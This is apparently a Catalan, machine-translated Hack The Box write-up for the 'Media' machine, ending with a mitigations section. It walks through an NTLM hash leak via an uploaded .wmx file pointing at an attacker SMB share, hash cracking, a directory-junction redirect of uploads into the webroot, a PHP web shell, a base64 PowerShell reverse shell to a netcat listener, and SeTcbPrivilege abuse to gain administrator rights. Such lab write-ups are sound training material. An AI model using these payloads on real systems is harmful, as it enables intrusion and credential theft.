Media

Llança el Media i segueix avançant a HTB!

Introducció

avatarEl medi és únic per requerir un fitxer de vídeo personalitzat per a una atac d’esquena NTLM, seguit per Redirecció del Sistema de Fitxers cap a un directori d’adjuntament fora del webroot, i finalment utilitzant SeTcbPrivilege per obtenir una compromissió completa del sistema. Totes tres aquestes tècniques eren noves per a mi i m’han donat una nova perspectiva en la visualització de vectors d’atac.

Fase de Recerca

hey, anem en blanc.

$TARGET es va generar a 10.129.57.241.

Utilitzant NMap per fer la primera escaneja a $TARGET.

nmap -Pn -p- -A -n -T4 -vv -oN recon/default.nmap 10.129.234.67

Revisant la informació recuperada, destacarem les parts interessants. 20260109095442 20260109095442 Veiem el port 22 obert i versió com a SSH per a Windows.

Apache Webserver al port 80, executant PHP/8.1.17.

RDP està obert al seu port predeterminat 3389.

Per tant, podem confirmar que això és un host de Windows. No tenim cap credencial encara, així que podem anar directament al lloc web i veure què podem trobar.

Tasques

  • Investiga el port del lloc web 80

Investigar el port del lloc web 80

Llança la teva proxy web preferida. Trauré Caido i començaré a proxyar tràfic web.

Visita http://10.129.57.241 i comencem amb la nostra investigació.

En la primera revisió - absolutament res d’interès en aquesta pàgina web - excepte al final. Hi ha un formulari de contacte que ens proporciona un punt d’interacció. Sembla una càrrega de fitxers, podem anotar-ho per futura reconstrucció. 20260109104315 20260109104315

Pots fer fuzzing per a directoris i fitxers amb ffuf, i cercar trobes addicionals. Farem una cerca de fitxers primer utilitzant raft-small-files-lowercase.txt.

ffuf -t 400 -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -u http://$TARGET/FUZZ -ac -o recon/ffuf-files.json

Revisa els resultats.

cat recon/ffuf-files.json | jq '.results[].url'

20260109100804 20260109100804 Pots comprovar-ho, però /index.php és la pàgina d’aterrissatge per defecte.

Segueix amb Fuzzing de directoris, amb una profunditat de recursió.

ffuf -t 400 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://$TARGET/FUZZ -recursion -recursion-depth 2 -ac -o recon/ffuf-dir.json

Revisa els resultats.

cat recon/ffuf-firs.json | jq '.results[] | [.status, /url]'

20260109103943 20260109103943 Ves a veure 403 Forbidden i 301 Redirects aquí per directoris típics de PHP i recursos. Visitar qualsevol dels enllaços de 301 Redirect mostra que la llista de directoris està habilitada - però no trobo res d’interès excepte confirmant versions de servei filtrades. 20260109104203 20260109104203 Pots tornar al formulari de contacte que hem vist abans, i començar a descompondre-ho.

Vaig revisar la versió d’Apache i vaig trobar tècniques de NTLM Leak afectant aquesta versió, però no vaig veure cap via directa per explotar-les.

Tasques

  • Investiga el port del lloc web 80
  • Investiga el formulari de contacte

Investigar Formulari de Contacte

Així que tornem a revisar el Formulari de Contacte, demana:

Provant aquest formulari, envio alguns detalls normals i un fitxer mp4 aleatori, sembla que l’accepta. 20260109104821 20260109104821 Podem veure la petició POST en el nostre proxy web. 20260109104932 20260109104932 Així que fem un POST a /index.php, per tant, hi ha una processament inicial en aquesta pàgina.

Veiem els nostres detalls enviats.

El paràmetre filename el podem controlar en la petició, si cal.

Content-Type probablement és rellevant per a la validació del fitxer.

Si reprodueixem la petició, però editem filename a qualsevol cosa que no sembli un fitxer, quin missatge d’error obtenim? 20260109105405 20260109105405

20260109105422 20260109105422

Sembla que encara funciona. Enviem un paràmetre <blank>. 20260109105518 20260109105518

20260109105530 20260109105530

Obtenim el missatge d’error.

Per tant, probablement no es valida a través del paràmetre filename. El fitxer pujat probablement va a una carpeta de càrrega de Windows i, doncs està destinat a ser un vídeo personalitzat per contractar a una persona, probablement serà revisat manualment.

Pots continuar trobant maneres de crear fitxers astuts per obtenir una comprensió més profunda del procés de càrrega i processament de fitxers, o pots passar avall i veure si puc crear un fitxer compatible amb Windows Media Player amb un payload maliciós.

Amb algunes cerques, pot aprendre sobre les tècniques d’NTLM Leak a través de diversos formats de fitxers de Windows. Morphisec va proporcionar un bon resum d’aquestes vies d’atac.

Tasques

  • Investiga el port del lloc web 80
  • Investiga el formulari de contacte
  • Realitza un atac NTLM-Leak

Bandera d’Usuari

Intentarem fer que un usuari ens reveli el seu Net-NTLMv2 hash. A continuació, procedeix a iniciar sessió i obtenir la bandera d’usuari.

Tasques

  • Realitzar atac NTLM-Leak
  • Atacar hash
  • Iniciar sessió com a usuari

Realitzar un atac NTLM-Leak

Hi ha una sèrie de tipus de fitxers vulnerables llistats en aquest escriptici, així que crearem un fitxer wmx que consisteix en algun XML fàcil. El paquet en qüestió és que el Windows Media Player analitzi l’XML i segueixi un element de vincle cap a una compartició SMB que controllem, on el Windows es autenticarà contra ella amb la Net-NTLMv2 hash de l’usuari. Pots executar Responder per capturar aquesta hash i intentar rompere-la amb hashcat.

Comencem.

Inicia el teu listener de Responder. Asegúra’t que estàs venençint SMB

Responder.py -I tun0 -P

20260109110846 20260109110846

Ara podem crear el nostre fitxer wmx. Creant video.wmx.

<asx version="3.0">
<title>My Cat Playlist</title>
<entry>
<ref href="file://10.10.15.221/share/video.mp4"/>
</entry>
</asx>

Ara podem pujar el nostre ‘breu vídeo d’introducció’ al formulari de contacte.

20260109111450 20260109111450

La pujada és acceptada - esperem a que Responder capturi la petició d’autenticació.

20260109111727 20260109111727

Passant avui, intentem rompere aquesta hash.

Tasques

  • Realitzar atac NTLM-Leak
  • Atacar hash
  • Iniciar sessió com a usuari

Atac Hash

Utilitzarem hashcat i el l’executarem contra la teva típica llista rockyou.txt.

hashcat hashcat/SMB-NTLMv2-SSP-10.129.57.241.txt ~/lists/rockyou.txt

20260109112025 20260109112025 Aquí completam un conjunt de credencials per a enox:<REDACTED>.

Passant avui, ens loguejem com a enox i obtenim la nostra bandera.

Tasques

  • Realitzar atac NTLM-Leak
  • Atacar hash
  • Iniciar sessió com a l’usuari enox

Inicia sessió com a l’usuari enox

Primer intentaré SSH.

ssh enox@$TARGET
# Introduir contrasenya

20260109112322 20260109112322

Inici de sessió correcte, però sense privilegis especials. Compte d’usuari estàndard.

Canviant a PowerShell i obtenint la bandera d’usuari.

powershell
cat Desktop\user.txt
# 9f4b<REDACTED>eea7

Passant-hi per damunt, necessitem trobar un camí per comprometre plenament aquest amfitrió. Pots enumerar aquest amfitrió més avui amb enox i veure què podem fer.

Tasques

  • Realitzar atac NTLM-Leak
  • Atacar hash
  • Iniciar sessió com a l’usuari enox
  • Enumerar amfitrón amb enox

Bandera de Raíz

Fem una enumeració típica del host mentre estem connectats a enox. També podem anar a inspeccionar les configuracions del servidor web, veure què tenim accés i determinar si podem obtenir accés com al servei del servidor web.

Tasques

  • Enumera l’host amb enox

Enumera l’ordinador amb enox

Comprovant altres perfils d’usuaris que poden existir.

ls C:\Users

20260109113025 20260109113025

No hi ha altres usuaris aquí. Comprovant variables d’entorn i serveis. Som un compte amb privilegis baixos, així que no puc recopilar molta informació.

Comprovant altres fitxers en el nostre directori d’usuari.

tree /F

20260109115305 20260109115305

Script interessant de Powershell, comprovem què fa realment.

cat .\Documents\review.ps1

El script és un poquit llarg, però mostraré la part important.

20260109115721 20260109115721

Així que veig un fitxer todo.txt en un directori d’Uploads.

Veiem el script prenent un valor de todo.txt i executant-lo en Windows Media Player.

Al final, veiem el script escriure al fitxer todo.txt.

Pots verificar si enox té permisos per utilitzar aquest script amb icacls.

icacls .\Documents\review.ps1

20260109115513 20260109115513

Pots revisar c:\xampp per a configuracions d’Apache i recopilar la informació que puguis.

ls c:\xampp

20260109113916 20260109113916

Punts d’interès en xampp amb Apache són htdocs com a webroot típic.

apache/conf contindrà fitxers de configuració.

També cal destacar que existeix un passwords.txt, probablement utilitzat per autenticació bàsica per a xampp - però encara és bon revisar-lo.

Investigant en htdocs/ veuràs el lloc web que experimentem anteriorment. No veo un directori d’upload, així que comprovem htdocs/index.php per veure com es processa la nostre petició POST.

cat htdocs/index.php

Sembla com la nostra pàgina inicial, però tenim codi PHP rellevant a dalt.

20260109114811 20260109114811

Així que veiem que el directori base d’upload està fora del webroot, c:\Windows\Tasks\Uploads.

Veiem aquest procés crear una carpeta basada en un hash MD5 basat en detalls de la submissió.

També veiem que el procés afegix al fitxer todo.txt que vam veure anteriorment.

Pots recopilar que enox automatitza la seva tasca per a revisar els fitxers de vídeo, així que mostra com es va executar el nostre vídeo de pagament. A més, enox té permisos d’escriptura en aquest directori d’upload. Pots verificar que enox no té permisos d’escriptura al nostre webroot.

echo test > c:\xampp\htdocs\test.php
# out-file : Accés denegat al camí 'C:\xampp\htdocs\test.php'.
# <SNIP>

Com s’esperava.

Per tant, un usuari privilegiat que executa el procés del servidor web interacciona amb fitxers en el directori d’adjunts. En canvi, també tenim accés d’escriptura al mateix directori d’adjunts, però sense accés d’escriptura al directori webroot.

El que podem fer és crear un enllaç simbòlic de directori (ambegut a una Directory Junction) i realitzar un atac de Redirecció del Sistema de Fitxers on enllacem el directori on pujem fitxers al directori webroot. Amb açò, podem pujar una concha inversa al webroot i establir una Concha Web PHP per a l’execució de comandes, que a la seva vegada pot establir una Concha Web per a nosaltres.

### Tasques
- [x] Enumera l'host amb `enox`
- [ ] Configura la Redirecció del Sistema de Fitxers
- [ ] Inversa Shell en l'Usuari del Servidor Web
## Configuració de Redirecció del Sistema de Fitxers
Per tant, sabem que `htdocs/index.php` crearà un directori d'adjuntes utilitzant els detalls de la submissió de l'usuari, així que sempre i quan enviïm amb el mateix `Firstname`, `Lastname` i `Email`, podem reutilitzar exactament aquest directori.

Vam veure el directori d'adjuntes.
```powershell
cd C:\Windows\Tasks\Uploads
ls

20260109121144 20260109121144

Veiem el todo.txt de més avall, però també el nostre directori amb les nostres càrregues de vídeos.

Crearem un enllaç simbòlic aquí perquè la carpeta c:\Windows\Tasks\Uploads\de0d090352acf9956ad036c61c7a2d93 pugui mapejar-se a c:\xampp\htdocs

rm de0d090352acf9956ad036c61c7a2d93
cmd /c "mklink /J de0d090352acf9956ad036c61c7a2d93 C:\xampp\htdocs"
# Junction creada per de0d090352acf9956ad036c61c7a2d93 <<===>> C:\xampp\htdocs

Per tant, si llistem el contingut del nostre nou directori, hauríem de veure la webroot.

20260109121459 20260109121459

Ara quan fem una petició POST per pujar un fitxer a través de htdocs/index.php, podem manipular-la per desar el fitxer al nostre nou directori, que està tornant a la webroot.

Tasques

  • Enumera l’host amb enox
  • Configura la Redirecció del Sistema de Fitxers
  • Reverse Shell en l’Usuari del Servidor Web

Reverse Shell en Usuari de Servidor Web

Pots publicar un simple PHP Web Shell anomenat shell.php, ja que no estem amagant res aquí. Repetiré el meu darrer petició POST però canviaré el nom del fitxer i el contingut.

# shell.php
<?php system($_GET["cmd"]); ?>

20260109122402 20260109122402

Envia la petició.

Pots confirmar ara que el fitxer existeix a webroot.

 ls .\de0d090352acf9956ad036c61c7a2d93\

20260109122602 20260109122602

Visita http://10.129.57.241/shell.php?cmd=whoami per a l’execució de comandes via Web Shell.

curl "http://10.129.57.241/shell.php?cmd=whoami"
# nt authority\local service

Aquesta és l’execució del comandament, ara establim una Reverse Shell.

Primer configura un escoltador.

rlwrap nc -lvnp 6969
# Ncat: Escoltant a 0.0.0.0:6969

Utilitzant revshells.com per generar un shell invers amb Powershell #3 (Base64), codificat en URL.

Envia aquesta comanda a la nostre webshell.

curl "http://10.129.57.241/shell.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4<SNIP>QBtAC4AHMAZQAoACkA"

Comprova el nostre listener. 20260109123620 20260109123620 ¡Ahora som nt authority\local service!

El pas següent és enumerar el nostre accés.

Tasques

  • Enumera l’host amb enox
  • Configura la Redirecció del Sistema de Fitxers
  • Conquista una Reverse Shell com a Usuari del Webserver
  • Enumera l’Accés com a local service

Enumera l’accés com local service

Primer comprovarem els nostres permisos.

whoami /priv

20260109124154 20260109124154

Tenim SeTcbPrivilege que és un privilegi increïblement potent. Ara està desactivat, així que si utilitzem EnableAllTokenPrivs hauria d’estar activat. Fer-ho abans de continuar.

Configura un servidor web en el nostre host per servir-nos eines al host $TARGET.

python -m http.server 7000
# Servint HTTP a 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...

A continuació, baixa EnableAllTokenPrivs.ps1 al nostre servidor.

curl "https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1" -o ./EnableAllTokenPrivs.ps1

Finalment, baixa’l i executa-lo des del usuari local service a $TARGET.

curl "http://10.10.15.221:7000/EnableAllTokenPrivs.ps1" -o .\EnableAllTokenPrivs.ps1
. .\EnableAllTokenPrivs.ps1
whoami /priv

20260109124947 20260109124947

Ara, raonar aquest host és trivial. Continuem i explicaré perquè.

Tasques

  • Enumera l’host amb enox
  • Configura la Redirecció del Sistema de Fitxers
  • Reverse Shell com a Usuari del Webserver
  • Enumera l’Accés com a local service
  • Abusa de SeTcbPrivilege

Abús de SeTcbPrivilege

Per resumir SeTcbPrivilege, és un testimoni de drets d’usuari que permet ‘Actuar com a part del sistema operatiu’. Aquesta és una configuració de política on un procés pot assumir l’identitat d’qualsevol usuari.

Utilitzaré l’eina tcb-lpe per explotar aquest privilegi, que crearà i iniciarà un servei per executar una comanda, després esborrarà automàticament el seu propi servei creat.

Afegirem enox als administradors ja que ja possèdem aquest recurs, llavors anem en direcció a la bandera de root.

Baixaré tcb-lpe des del meu host fins on es troba l’usuari local service.

curl "http://10.10.15.221:7000/tcb.exe" -o .\tcb.exe
.\tcb.exe "cmd.exe /c net localgroup administrators enox /add"

20260109130252 20260109130252

Inicia sessió com a enox i comprova els meus privilegis.

whoami /all

20260109130351 20260109130351 Tenim administrador local com a enox! Obté aquesta bandera.

cd C:/Users/Administrator/Desktop
cat root.txt
# 1c65<REDACTED>6fd2

Genial!

Conclusió/Mitigacions

Al principi, estava lleugerament enfadat intentant trobar el primer punt d’entrada. Sabia que era un atac de Càrrega de Fitxers però simplement no podia trobar molta informació sobre les coses que puc fer amb els formats de fitxer del Reproductor de Mitjans Windows. No obstant això, durant l’escriptura per a Media, vaig començar a apreciar com existeix la tècnica de Fuga NTLM - i com és omnipresent en els formats de fitxer de Microsoft. Aquesta màquina m’ha fet estar conscient de les vulnerabilitats dels formats de fitxers - però també m’ha ensenyat sobre els Junts de Directoris i el testimoni SeTcbPrivilege - tots dos dels quals són molt interessants.

El SeTcbPrivilege és un privilegi tan fort que mai he vist abans, i no espero veure’l de nou sense comprometre un servei amb privilegis molt elevats.

Els Junts de Directoris trobo que són enllaços simbòlics de directoris estranys, però ara m’ha fet percebre certes situacions d’una manera diferent degut a la capacitat que aquesta opció pot proporcionar.

Validació de Pujada de Fitxers

Una validació i neteja insuficients de l’entrada d’usuari ens van permetre pujar fitxers maliciósos arbitraris.

Aquesta vulnerabilitat va ser utilitzada dues vegades, una amb la vulnerabilitat NTLM Leak, i la segona vegada per pujar el nostre propi fitxer PHP.

Dissenyant la pujada de fitxers perquè només accepte formats de fitxers suportats pel Windows Media Player - excepte els formats de fitxers .asx, .wax, .wvx, i .wmx, que poden contenir camins UNC per activar l’autenticació SMB contra comparticions remotes.

Redirecció del Sistema de Fitxers

Quan un usuari amb privilegis baixos i un altre amb privilegis elevats poden llegir/escriure fitxers en un directori comú. L’usuari amb privilegis baixos pot crear una connexió de directori o un directori simbòlic per redirigir el processament de fitxers de l’usuari amb privilegis elevats.

Eliminar els privilegis d’escriptura d’enox en el directori de càrrega de fitxers eliminaria aquesta vulnerabilitat, mentre encara permetria que enox revisés fitxers de vídeo amb permisos de lectura.

SeTcbPrivilege a No-Admin

SeTcbPrivilege del token d’usuari permet l’impersonificació de qualsevol usuari sense requerir autenticació. El compte nt authority\local service es proporciona generalment amb SeImpersonatePrivilege, així que aquesta era una adició deliberada.

Eliminar aquest token d’usuari del compte nt authority\local service, assumint que el propòsit no està afectat, hauria de ser suficient per eliminar aquest camí d’atac.

Referències

InvestigacióDescripció
Escalada de privilegis NTLMLectura crucial per trobar la vulnerabilitat NTLM-Leak per als formats de fitxers de Microsoft
Tipus de fitxers compatibles amb el reproductor multimèdia de WindowsTipus de fitxers a reproduir en el reproductor multimèdia de Windows
Comprendre SeTcbPrivilegeExplicació i explotació de SeTcbPrivilege
Actuar com part del sistema operatiuDescripció (vaga) de Microsoft de SeTcbPrivilege
Eines UtilitzadesDescripció
CaidoProxy web lleuger
ffufFerrament de fuzzing Fuzz Faster u Fool
hashcatEina avançada per recuperar contrasenyes
NMapEina d’escaneig de xarxes i auditoria
ResponderPoissoner LLMNR, NBT-NS i MDNS, servidor d’autenticació fòrfallera
tcb-lpeEina per abusar de SeTcbPrivilege
EnableAllTokenPrivsScript de PowerShell per habilitar tokens d’usuari